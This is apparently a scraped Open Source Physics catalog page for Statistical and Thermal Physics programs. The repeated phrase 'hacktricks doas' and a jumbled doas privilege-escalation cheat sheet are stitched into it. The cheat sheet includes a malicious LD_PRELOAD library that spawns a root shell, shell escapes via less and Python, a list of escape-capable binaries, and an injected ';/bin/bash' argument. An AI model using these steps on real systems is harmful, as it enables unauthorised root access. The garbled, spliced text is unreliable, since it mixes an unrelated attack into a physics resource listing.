APS Excellence in Physics Education Award
November 2019

Education Prize Logo
Science SPORE Prize
November 2011

NSF Logo
The Open Source Physics Project is supported by NSF DUE-0442581.

Statistical and Thermal Physics 2nd Ed. Programs Documents

hacktricks doas

This material has 5 associated documents. Select a document title to view a document's information.

Main Document

hacktricks doas Statistical and Thermal Physics (STP) Applications 

Hacktricks Doas [NEW]

Keep hacking. Keep escalating.

// evil.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() setuid(0); setgid(0); system("/bin/bash");

doas -s # or doas /bin/sh If the config allows a wildcard path, you might inject arguments.

doas -n id # uid=0(root) gid=0(root) Escalate: hacktricks doas

doas /usr/bin/python3 -c 'import pty;pty.spawn("/bin/sh")' Many binaries allow shell escapes.

permit user1 as root cmd /usr/bin/less doas less /etc/hosts # then type: !/bin/bash Known binaries for escapes: less , more , vi , vim , nano , awk , find , man , git , tmux , screen , ftp , irb , lua , perl , python , ruby , scp , tar . If keepenv is set, doas keeps LD_PRELOAD , LD_LIBRARY_PATH , PYTHONPATH , etc.

Unlike sudo , there’s no PAM, no plugin system, no logging madness — just permission rules. which doas command -v doas doas -V If installed, check the config: Keep hacking

./script.sh "test; /bin/bash" permit persist user1 as root Once you run doas -n id with password once, subsequent commands don’t need a password for a few minutes.

gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script.

If you’ve spent any time on BSD or modern Linux systems (like Alpine), you’ve probably seen doas lurking in the shadows. It’s the leaner, meaner cousin of sudo — simpler config, fewer CVEs, and still dangerous if misconfigured. doas -n id # uid=0(root) gid=0(root) Escalate: doas

cat /etc/doas.conf permit|deny [options] identity as target cmd [args] Examples:

permit keepenv user1 as root Compile a malicious lib:

Supplemental Documents (2)

hacktricks doas List of program names in Statistical and Thermal Physics package 

Correspondence of program names in Statistical and Thermal Physics by Harvey Gould and Jan
Tobochnik, Princeton University Press (2010) and program descriptions in Java Simulations for
Statistical and Thermal Physics jar.

Last Modified January 17, 2015

hacktricks doas This file is included in the full-text index.

hacktricks doas STP First Edition Launcher Package 

STP Launcher Package contains read-to-run computer models and curricular materials for the first edition of Statistical and Thermal Physics by Harvey Gould and Jan Tobochnik.

Released under a Creative Commons Attribution-Share Alike 4.0 license.

Last Modified August 26, 2020

Source Code Documents (2)

hacktricks doas STP Python Source Code 

A Python implementation of the STP programs to accompany the second edition of Statistical and Thermal Physics by Harvey Gould and Jan Tobochnik.

Last Modified February 1, 2021

hacktricks doas This file has previous versions.

hacktricks doas STP Java Program Source Code 

A Java implementation of the STP programs to accompany the second edition of Statistical and Thermal Physics by Harvey Gould and Jan Tobochnik.

Last Modified August 26, 2020

OSP Projects:
hacktricks doas Open Source Physics - EJS Modeling
hacktricks doas Tracker
hacktricks doas Physlet Physics
hacktricks doas Physlet Quantum Physics
hacktricks doas STP Book